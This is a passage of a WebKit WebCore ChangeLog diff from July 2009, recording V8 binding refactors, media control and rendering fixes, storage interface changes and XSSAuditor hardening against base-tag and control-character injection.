+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebKitCSSMatrixConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::SetTimeoutOrInterval):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-07-08  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Make sure we can click outside the slider thumb and start dragging.
+        https://bugs.webkit.org/show_bug.cgi?id=26229
+
+        Previously we were assuming that if the thumb hasn't been clicked, we
+        wouldn't issue any value change upon dragging.
+
+        We need to handle the two different cases:
+        - Clicked in the thumb, we need to make sure the cursor is always pointing
+        the same slider thumb point.
+        - Clicked outside, the cursor should always be pointing to the center of
+        the thumb.
+
+        For simplicity, we don't remember the original point of the mouse down,
+        but a vector between that point and the thumb.
+
+        * rendering/RenderSlider.cpp:
+        (WebCore::SliderThumbElement::SliderThumbElement):
+        (WebCore::SliderThumbElement::defaultEventHandler):
+        (WebCore::RenderSlider::mouseEventVectorToThumb): Utility function.
+        * rendering/RenderSlider.h:
+
+2009-07-08  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27100
+        <rdar://problem/7042621>
+
+        Don't display "loading" in the <video> controller when
+        there is no src specified.
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlStatusDisplayElement::update): The only
+        way to find out if we have an element is currentSrc(). networkState()
+        will always report LOADING according to the spec.
+
+2009-07-08  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [V8] Move V8GCController functions to their own file
+        https://bugs.webkit.org/show_bug.cgi?id=27102
+
+        * bindings/v8/V8GCController.cpp: Added.
+        * bindings/v8/V8GCController.h: Added.
+        * bindings/v8/V8Proxy.cpp:
+        * bindings/v8/V8Proxy.h:
+
+2009-07-08  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Split StorageArea and StorageNamespace into an interface and implementation.
+        https://bugs.webkit.org/show_bug.cgi?id=27072
+
+        I need to split StorageNamespace and StorageArea into an interface and
+        implementation.  In a later patch, I'll implement a proxy interface
+        that'll run inside the Chromium renderer process.
+
+        Additionally, fix the alphabetical ordering of files I recently added
+        in the project files.
+
+        This is a continuation of other refactoring work:
+        https://bugs.webkit.org/show_bug.cgi?id=25376
+
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * storage/StorageArea.cpp:
+        (WebCore::StorageArea::create):
+        * storage/StorageArea.h:
+        (WebCore::StorageArea::~StorageArea):
+        * storage/StorageAreaImpl.cpp: Copied from WebCore/storage/StorageArea.cpp.
+        (WebCore::StorageAreaImpl::create):
+        (WebCore::StorageAreaImpl::~StorageAreaImpl):
+        (WebCore::StorageAreaImpl::StorageAreaImpl):
+        (WebCore::StorageAreaImpl::copy):
+        (WebCore::StorageAreaImpl::length):
+        (WebCore::StorageAreaImpl::key):
+        (WebCore::StorageAreaImpl::getItem):
+        (WebCore::StorageAreaImpl::setItem):
+        (WebCore::StorageAreaImpl::removeItem):
+        (WebCore::StorageAreaImpl::clear):
+        (WebCore::StorageAreaImpl::contains):
+        (WebCore::StorageAreaImpl::importItem):
+        (WebCore::StorageAreaImpl::securityOrigin):
+        (WebCore::StorageAreaImpl::close):
+        (WebCore::StorageAreaImpl::blockUntilImportComplete):
+        (WebCore::StorageAreaImpl::dispatchStorageEvent):
+        * storage/StorageAreaImpl.h: Copied from WebCore/storage/StorageArea.h.
+        * storage/StorageAreaSync.h:
+        * storage/StorageNamespace.cpp:
+        (WebCore::StorageNamespace::localStorageNamespace):
+        (WebCore::StorageNamespace::sessionStorageNamespace):
+        * storage/StorageNamespace.h:
+        (WebCore::StorageNamespace::~StorageNamespace):
+        * storage/StorageNamespaceImpl.cpp: Copied from WebCore/storage/StorageNamespace.cpp.
+        (WebCore::StorageNamespaceImpl::localStorageNamespace):
+        (WebCore::StorageNamespaceImpl::sessionStorageNamespace):
+        (WebCore::StorageNamespaceImpl::StorageNamespaceImpl):
+        (WebCore::StorageNamespaceImpl::~StorageNamespaceImpl):
+        (WebCore::StorageNamespaceImpl::copy):
+        (WebCore::StorageNamespaceImpl::storageArea):
+        (WebCore::StorageNamespaceImpl::close):
+        * storage/StorageNamespaceImpl.h: Copied from WebCore/storage/StorageNamespace.h.
+
+2009-07-08  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [V8] Move garbage collector related functions from V8Proxy to V8GCController
+        https://bugs.webkit.org/show_bug.cgi?id=26967
+
+        This patch just moves the functions around in V8Proxy.  We'll actually
+        move them to a separate file in another patch.
+
+        * bindings/v8/NPV8Object.cpp:
+        (freeV8NPObject):
+        * bindings/v8/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::ScheduledAction):
+        (WebCore::ScheduledAction::~ScheduledAction):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::gcProtectJSWrapper):
+        (WebCore::ScriptController::gcUnprotectJSWrapper):
+        * bindings/v8/ScriptInstance.cpp:
+        (WebCore::V8ScriptInstance::clear):
+        (WebCore::V8ScriptInstance::set):
+        * bindings/v8/ScriptValue.h:
+        (WebCore::ScriptValue::ScriptValue):
+        (WebCore::ScriptValue::operator=):
+        (WebCore::ScriptValue::clear):
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::disposeListenerObject):
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::~V8LazyEventListener):
+        (WebCore::V8LazyEventListener::getListenerFunction):
+        (WebCore::V8LazyEventListener::getWrappedListenerFunction):
+        * bindings/v8/V8NodeFilterCondition.cpp:
+        (WebCore::V8NodeFilterCondition::V8NodeFilterCondition):
+        (WebCore::V8NodeFilterCondition::~V8NodeFilterCondition):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8GCController::registerGlobalHandle):
+        (WebCore::V8GCController::unregisterGlobalHandle):
+        (WebCore::V8GCController::gcProtect):
+        (WebCore::V8GCController::gcUnprotect):
+        (WebCore::V8Proxy::destroyGlobal):
+        (WebCore::V8Proxy::updateDocumentWrapper):
+        (WebCore::V8Proxy::clearDocumentWrapper):
+        (WebCore::V8Proxy::disposeContextHandles):
+        (WebCore::V8Proxy::initContextIfNeeded):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::):
+        (WebCore::GlobalHandleInfo::GlobalHandleInfo):
+        * bindings/v8/custom/V8CustomEventListener.cpp:
+        (WebCore::V8EventListener::V8EventListener):
+
+2009-07-08  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=26918
+        
+        Prevents injection of HTML Base tag.
+
+        Tests: http/tests/security/xssAuditor/base-href-control-char.html
+               http/tests/security/xssAuditor/base-href-null-char.html
+               http/tests/security/xssAuditor/base-href-safe.html
+               http/tests/security/xssAuditor/base-href-safe2.html
+               http/tests/security/xssAuditor/base-href-scheme-relative.html
+               http/tests/security/xssAuditor/base-href.html
+
+        * html/HTMLBaseElement.cpp:
+        (WebCore::HTMLBaseElement::parseMappedAttribute):
+        (WebCore::HTMLBaseElement::process): Modified to call XSSAuditor::canSetBaseElementURL
+        to determine if it is safe to use base element URL.
+        * html/HTMLBaseElement.h: Added field m_hrefAttrValue to store unparsed base element URL.
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canSetBaseElementURL):
+        * page/XSSAuditor.h:
+
+2009-07-08  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Upstream V8 npruntime bindings.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27094
+
+        * bindings/v8/npruntime.cpp: Upstreamed from src.chromium.org.
+        (StringKey::operator==):
+        (StringKey::StringKeyHash::hash):
+        (StringKey::StringKeyHash::equal):
+        (StringKeyHashTraits::constructDeletedValue):
+        (StringKeyHashTraits::isDeletedValue):
+        (getStringIdentifierMap):
+        (getIntIdentifierMap):
+        * bindings/v8/npruntime_impl.h: Upstreamed from src.chromium.org.
+        * bindings/v8/npruntime_internal.h: Upstreamed from src.chromium.org.
+        * bindings/v8/npruntime_priv.h: Upstreamed from src.chromium.org.
+
+2009-07-08  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Extending the PlatformFileHandle definition from PLATFORM(WIN) to
+        PLATFORM(WIN_OS)
+
+        https://bugs.webkit.org/show_bug.cgi?id=27013
+
+        * platform/FileSystem.h:
+
+2009-07-08  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=27071
+        
+        Resolves issue when HTTP parameters contain null- and  non-null-control- characters.
+
+        Tests: http/tests/security/xssAuditor/anchor-url-dom-write-location-inline-event-null-char.html
+               http/tests/security/xssAuditor/embed-tag-control-char.html
+               http/tests/security/xssAuditor/embed-tag-null-char.html
+               http/tests/security/xssAuditor/embed-tag.html
+               http/tests/security/xssAuditor/link-onclick-control-char.html
+               http/tests/security/xssAuditor/link-onclick-null-char.html
+               http/tests/security/xssAuditor/object-embed-tag-control-char.html
+               http/tests/security/xssAuditor/object-embed-tag-null-char.html
+               http/tests/security/xssAuditor/object-embed-tag.html
+               http/tests/security/xssAuditor/object-tag.html
+               http/tests/security/xssAuditor/script-tag-post-control-char.html
+               http/tests/security/xssAuditor/script-tag-post-null-char.html
+               http/tests/security/xssAuditor/script-tag-with-source-control-char.html
+               http/tests/security/xssAuditor/script-tag-with-source-null-char.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::isNonNullControlCharacter): Called by XSSAuditor::decodeURL.
+        (WebCore::XSSAuditor::canEvaluate):
+        (WebCore::XSSAuditor::canCreateInlineEventListener):
+        (WebCore::XSSAuditor::canLoadObject):
+        (WebCore::XSSAuditor::decodeURL): Added parameters matchNullCharacters,
+        and matchNonNullControlCharacters.
+        (WebCore::XSSAuditor::findInRequest): Added parameters matchNullCharacters,
+        and matchNonNullControlCharacters.
+        * page/XSSAuditor.h:
+
+2009-07-08  Marc-Antoine Ruel  <maruel@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Add DerivesSourcesAllInOne.cpp to help with release windows compilation.
+        https://bugs.webkit.org/show_bug.cgi?id=27093
+
+        This is specific for v8, no change in behavior.
+
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Added.
+
+2009-07-08  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27086
+
+        Make sure the Media controller doesn't fade in for no reason.
+        This is happening because a update() call to the controller
+        panel may reset the opacity to 1.0, given that it reloads the
+        style.
+
+        We also add a different fade in and fade out time to soften
+        the fade out effect.
+
+        No test case because this depends on how the movie is loaded.
+
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::RenderMedia):
+        (WebCore::RenderMedia::updateControls):
+        (WebCore::RenderMedia::updateControlVisibility): Simplify
+        , and make sure we stop the timer if there is no animation
+        to do.
+        (WebCore::RenderMedia::opacityAnimationTimerFired): 
+        * rendering/RenderMedia.h:
+
+2009-07-08  David Kilzer  <ddkilzer@apple.com>
+
+        Bug 27081: Wrap RunLoopTimerCF.cpp in PLATFORM(MAC) && HAVE(RUNLOOP_TIMER)
+
+        <https://bugs.webkit.org/show_bug.cgi?id=27081>
+
+        Reviewed by Timothy Hatcher.
+
+        * platform/cf/RunLoopTimerCF.cpp: This code is only used on
+        Mac OS X when HAVE(RUNLOOP_TIMER) is enabled, so wrap the code
+        in that macro as well.
+
+2009-07-08  Greg Bolsinga  <bolsinga@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Add -[WebView _isProcessingUserGesture]
+        https://bugs.webkit.org/show_bug.cgi?id=27084
+
+        Rename FrameLoader::userGestureHint() to FrameLoader::isProcessingUserGesture()
+        for clarity.
+
+        * WebCore.base.exp: Add WebCore::FrameLoader::isProcessingUserGesture()
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::processingUserGesture):
+        * loader/FrameLoader.cpp: 
+        (WebCore::FrameLoader::requestFrame):
+        (WebCore::FrameLoader::isProcessingUserGesture):
+        * loader/FrameLoader.h:
+
+2009-07-08  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed (an earlier version) by Geoff Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27090
+        Remove lockBackForwardList argument from HTMLFormElement::submit()
+
+        No change in behavior, so no tests.
+
+        * bindings/js/JSHTMLFormElementCustom.cpp:
+        (WebCore::JSHTMLFormElement::submit):
+        * html/HTMLFormElement.cpp:
+        (WebCore::HTMLFormElement::submit):
+        * html/HTMLFormElement.h:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::submitForm):
+        (WebCore::FrameLoader::scheduleFormSubmission):
+        * loader/FrameLoader.h:
+        Don't pass lockBackForwardList around when it's known to be false.
+
+2009-07-08  Marc-Antoine Ruel  <maruel@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fix V8 idl codegen to use unique constant names
+        <https://bugs.webkit.org/show_bug.cgi?id=27089>
+
+        Embed the interface name in the global constant names so coagulating all
+        the .cc files into one compile unit works with V8 bindings.
+
+        Nothing added; Still compiles and pass tests.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+
+2009-07-08  Brent Fulgham  <bfulgham@webkit.org>
+
+        Build fix: Add missing #includes for Windows (cURL) build.
+        The <winsock2.h> and <windows.h> headers were not being
+        included in Windows cURL builds.
+
+        * platform/network/ResourceHandleInternal.h:
+        * platform/network/curl/ResourceHandleManager.h:
+
+2009-07-08  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by David Kilzer.
+
+        WebKit needs a style linting tool
+        https://bugs.webkit.org/show_bug.cgi?id=25884
+
+        Fix bunch of style issues in WebCore/rendering.
+        This patch is created to demonstrate cpplint.py.
+
+        No testcase because it's just a style fixes.
+
+        * rendering/AutoTableLayout.cpp:
+        (WebCore::AutoTableLayout::recalcColumn):
+        (WebCore::AutoTableLayout::layout):
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::placeEllipsisBox):
+        * rendering/InlineTextBox.cpp:
+        (WebCore::InlineTextBox::paintTextMatchMarker):
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlTimelineElement::defaultEventHandler):
+        * rendering/MediaControlElements.h:
+        * rendering/RenderArena.cpp:
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::startDelayUpdateScrollInfo):
+        (WebCore::RenderBlock::finishDelayUpdateScrollInfo):
+        (WebCore::RenderBlock::updateScrollInfoAfterLayout):
+        (WebCore::RenderBlock::positionNewFloats):
+        (WebCore::RenderBlock::newLine):
+        (WebCore::RenderBlock::floatBottom):
+        (WebCore::RenderBlock::leftBottom):
+        (WebCore::RenderBlock::rightBottom):
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::calcReplacedWidthUsing):
+        * rendering/RenderFieldset.cpp:
+        (WebCore::RenderFieldset::layoutLegend):
+        * rendering/RenderFlexibleBox.cpp:
+        (WebCore::FlexBoxIterator::FlexBoxIterator):
+        (WebCore::FlexBoxIterator::reset):
+        (WebCore::FlexBoxIterator::first):
+        (WebCore::FlexBoxIterator::next):
+        (WebCore::RenderFlexibleBox::layoutVerticalBox):
+        * rendering/RenderFrameSet.cpp:
+        (WebCore::borderStartEdgeColor):
+        * rendering/RenderFrameSet.h:
+        * rendering/RenderImage.cpp:
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::updateVisibilityStatus):
+        (WebCore::RenderLayer::calculateClipRects):
+        (WebCore::RenderLayer::calculateRects):
+        * rendering/RenderListBox.cpp:
+        (WebCore::RenderListBox::panScroll):
+        * rendering/RenderMarquee.cpp:
+        (WebCore::RenderMarquee::updateMarqueeStyle):
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::updateControls):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::drawLineForBoxSide):
+        (WebCore::RenderObject::localCaretRect):
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::adjustRectsForAspectRatio):
+        * rendering/RenderSlider.h:
+        * rendering/RenderTable.cpp:
+        (WebCore::RenderTable::outerBorderBottom):
+        * rendering/RenderTableCol.h:
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::itemIsSeparator):
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::supportsHover):
+        * rendering/RenderThemeChromiumWin.cpp:
+        (WebCore::RenderThemeChromiumWin::supportsFocusRing):
+        * rendering/SVGCharacterLayoutInfo.cpp:
+        (WebCore::SVGCharacterLayoutInfo::addStackContent):
+        * rendering/SVGCharacterLayoutInfo.h:
+        * rendering/TextControlInnerElements.h:
+        * rendering/bidi.cpp:
+        (WebCore::RenderBlock::computeHorizontalPositionsForLine):
+
+2009-07-07  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Reduce complexity of lifetime management in DynamicNodeList caches
+        <https://bugs.webkit.org/show_bug.cgi?id=27068>
+
+        Switch the Cache object used by DynamicNodeList into a normal
+        refcounted object rather than having a weird flag controlled
+        refcounting system, where positive refcount did not automatically
+        imply the cache object would actually still be live.
+
+        * dom/DynamicNodeList.cpp:
+        (WebCore::DynamicNodeList::DynamicNodeList):
+        (WebCore::DynamicNodeList::~DynamicNodeList):
+        (WebCore::DynamicNodeList::Caches::Caches):
+        (WebCore::DynamicNodeList::Caches::create):
+        * dom/DynamicNodeList.h:
+        * dom/Node.cpp:
+        (WebCore::Node::childNodes):
+        (WebCore::Node::getElementsByTagNameNS):
+        (WebCore::Node::getElementsByName):
+        (WebCore::Node::getElementsByClassName):
+        (WebCore::NodeListsNodeData::invalidateCaches):
+        (WebCore::NodeListsNodeData::isEmpty):
+        * dom/NodeRareData.h:
+        (WebCore::NodeListsNodeData::NodeListsNodeData):
+
+2009-07-07  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+        
+        -webkit-perspective should be a Length
+        https://bugs.webkit.org/show_bug.cgi?id=27066
+        
+        -webkit-perspective should not take a magic valueless number, but should
+        be a normal Length value which responds to zooming. Treat valueless numbers
+        as pixels for backward compatibility.
+        
+        Test: transforms/3d/general/perspective-units.html
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+
+2009-07-07  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27047
+
+        We need to make sure that when we reattach, we also reattach
+        the children in every MediaControlElement. Else we may end up
+        having no remaining or elapsed time.
+
+        We have to handle that, because we are using a special shadow
+        tree in the DOM, and that we are ourselves handling
+        attaching/detaching the renderer.
+
+        The strategy here is to try to implement ::attach(), and try
+        to reuse as much code as we can from the super class, including
+        children attachement.
+
+        Test: media/controls-after-reload.html
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlElement::styleForElement): Code factoring.
+        (WebCore::MediaControlElement::rendererIsNeeded): Code factoring.
+        (WebCore::MediaControlElement::attach): Implement attach
+        and call super class so that children are also attached.
+        (WebCore::MediaControlElement::updateStyle): Use attach()
+        (WebCore::MediaControlInputElement::styleForElement): Code factoring.
+        (WebCore::MediaControlInputElement::rendererIsNeeded): Code factoring.
+        (WebCore::MediaControlInputElement::attach): See above.
+        (WebCore::MediaControlInputElement::updateStyle): Use attach()
+        * rendering/MediaControlElements.h:
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::updateControls): Directly run attach() on
+        the m_panel, which is a root node for our shadow tree.
+
+2009-07-07  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Repaint issue after layer drops out of composited mode.
+        <https://bugs.webkit.org/show_bug.cgi?id=27022>
+
+        RenderLayers cache repaint rects in the form of m_repaintRect and m_outlineBox,
+        and expect these to stay valid from one style change to the next. These rects
+        are relative to the repaint container, so if a layer stops being composited,
+        we need to recompute them.
+        
+        Test: compositing/repaint/layer-repaint-rects.html
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::computeRepaintRects):
+        * rendering/RenderLayer.h:
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::updateBacking):
+
+2009-07-07  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Dave Hyatt and Darin Adler.
+
+        - fix https://bugs.webkit.org/show_bug.cgi?id=26963
+          <rdar://problem/7030998> Reproducible crash at
+          FontCache::getFontData() when a custom font is used in a pseudo-style
+
+        Test: fast/css/pseudo-cache-stale.html
+
+        * dom/Element.cpp:
+        (WebCore::Element::pseudoStyleCacheIsInvalid): Added. Given the old
+        style and the new style, goes over cached pseudo-styles in the old
+        style and re-resolves the same style types off the new style. If any of
+        the new pseudo-styles is different from the currently cached
+        corresponding style, returns true. Otherwise, returns false.
+        (WebCore::Element::recalcStyle): Validate the pseudo-style cache before
+        deciding to keep the existing style.
+        * dom/Element.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::uncachedFirstLineStyle): Added this version that
+        returns an uncached first-line style based off the given style.
+        (WebCore::RenderObject::getUncachedPseudoStyle): Added the 'ownStyle'
+        parameter.
+        * rendering/RenderObject.h:
+        * rendering/style/RenderStyle.cpp:
+        (WebCore::RenderStyle::getPseudoStyleCache): Added. Returns the cached
+        pseudo-styles in the passed-in vector.
+        * rendering/style/RenderStyle.h:
+
+2009-07-07  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        - fix https://bugs.webkit.org/show_bug.cgi?id=27042
+          <rdar://problem/7010981> Incomplete painting of newly created floats
+
+        Tests: fast/repaint/float-in-new-block-with-layout-delta.html
+               fast/repaint/float-new-in-block.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::layoutBlockChildren): If the child has never been
+        laid out before, paint its overhanging floats in addition to itself.
+        * rendering/RenderBlock.h:
+        (WebCore::RenderBlock::FloatWithRect::FloatWithRect): Added and
+        initialized a boolean everHadLayout member.
+        * rendering/bidi.cpp:
+        (WebCore::RenderBlock::layoutInlineChildren): Paint floats that have
+        never been laid out before and did not move from (0, 0).
+
+2009-07-07  Brady Eidson  <beidson@apple.com>
+
+        Contributions from both Darin Adler and Brady Eidson.
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7024039> REGRESSION (r42158): Back-forward navigation does not work correctly on nytimes.com
+
+        In r42158 we lost some exclusions to making back/forward items for subframe navigations when a main frame
+        navigation was still in progress.
+
+        This patch makes things even better than it used to be by:
+        - Locking back/forward history at the time the navigation is scheduled, not after the load has committed.
+        - Locking back/forward history if *any* ancestor frame is still loading instead of just the main frame.
+
+        Test: fast/loader/subframe-navigate-during-main-frame-load.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::submitForm): Move out the history locking logic into a standalone function so it can be
+          used from multiple sites.
+        (WebCore::mustLockBackForwardList): Returns true if any ancestor frame is still loading.
+        (WebCore::FrameLoader::scheduleLocationChange): Respect mustLockBackForwardList() in addition to the passed in
+          lockBackForwardList flag.
+        (WebCore::FrameLoader::scheduleFormSubmission): Ditto.
+
+2009-07-07  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Upstream DOMObjectsInclude.h from src.chromium.org.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27035
+
+        * bindings/v8/DOMObjectsInclude.h: Added.
+
+2009-07-07  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by David Levin.
+
+        Relanding r45559, which was rolled back at r45574.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26857
+
+        * bindings/scripts/CodeGeneratorV8.pm: Updated a function name in auto-generated bindings.
+        * bindings/v8/V8Binding.cpp: Moved from src.chromium.org.
+        * bindings/v8/V8Binding.h: Contents moved from src.chromium.org.
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::getListenerFunction):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::handleConsoleMessage):
+        (WebCore::V8Proxy::compileScript):
+        (WebCore::V8Proxy::sourceName):
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::handleConsoleMessage):
+        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
+        (WebCore::NAMED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8CustomXPathNSResolver.cpp:
+        (WebCore::V8CustomXPathNSResolver::lookupNamespaceURI):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
+        (WebCore::removeElement):
+        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::SetTimeoutOrInterval):
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-07-07  Gregory Hughes  <gfhughesVO+webkit@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        AX: Some webpages do not send AXLoadComplete
+        https://bugs.webkit.org/show_bug.cgi?id=26995
+
+        When sending the AXLayoutComplete notification it is possible
+        that the AXObjectCache was cleared, resulting in no valid
+        object to send the notification to. This fix ensures that an
+        AX object is created and cached if one does not already exist.
+
+        Not able to add a test because notifications get sent after the layout test is completed.
+
+        * dom/Document.cpp:
+        (WebCore::Document::implicitClose):
+
+2009-07-06  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27015
+
+        Make sure that the CSS properties letter-spacing, word-spacing,
+        line-height, text-transform, text-indent, text-shadow,
+        text-decoration and color do not affect the media element controls,
+        that display text.
+
+        Controls that display text are only present in when the theme
+        MediaControllerThemeQT is being used.
+
+        Test: media/controls-styling.html
+
+        * css/mediaControlsQT.css:
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlElement::updateStyle): Special case for
+        text-decoration. text-decoration can't be overriden from CSS, because
+        text-decoration is additive for historical reasons.
+
+2009-07-07  Albert Wong  <ajwong@chromium.org>
+
+        Not reviewed, Chromium build fix.
+
+        Add in missing header fix syntax issue that crept into last patch.
+        https://bugs.webkit.org/show_bug.cgi?id=27027
+
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::RenderThemeChromiumMac::paintMediaFullscreenButton):
+
+2009-07-07  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Make use of geometry information to decide which layers become composited.
+
+        <rdar://problem/7011947>
+        <https://bugs.webkit.org/show_bug.cgi?id=27021>
+        
+        In addition to looking at painting order, also, optionally, take layer
+        overlap into account when deciding which RenderLayers need to be composited.
+
+        No testcase because DRT doesn't dump which layers are composited.
+        
+        * page/FrameView.h:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::updateCompositingLayers):
+        Removed the unused CompositingUpdate parameter, and just do an early return
+        when there is no view.
+        
+        * rendering/RenderLayer.h:
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::rendererContentChanged):
+        (WebCore::RenderLayer::dirtyZOrderLists):
+        (WebCore::RenderLayer::dirtyNormalFlowList):
+        (WebCore::RenderLayer::styleChanged):
+        (WebCore::RenderLayer::mustOverlapCompositedLayers):
+        (WebCore::RenderLayer::setMustOverlapCompositedLayers):
+        Change "overlay" to "overlap" for consistency with the use of "overlap"
+        elsewhere.
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateAfterLayout):
+        compositingLayersNeedUpdate() renamed to compositingLayersNeedRebuild().
+        
+        (WebCore::RenderLayerBacking::startAnimation):
+        (WebCore::RenderLayerBacking::startTransition):
+        Tell the compositor that we started an accelerated animation or transition.
+        
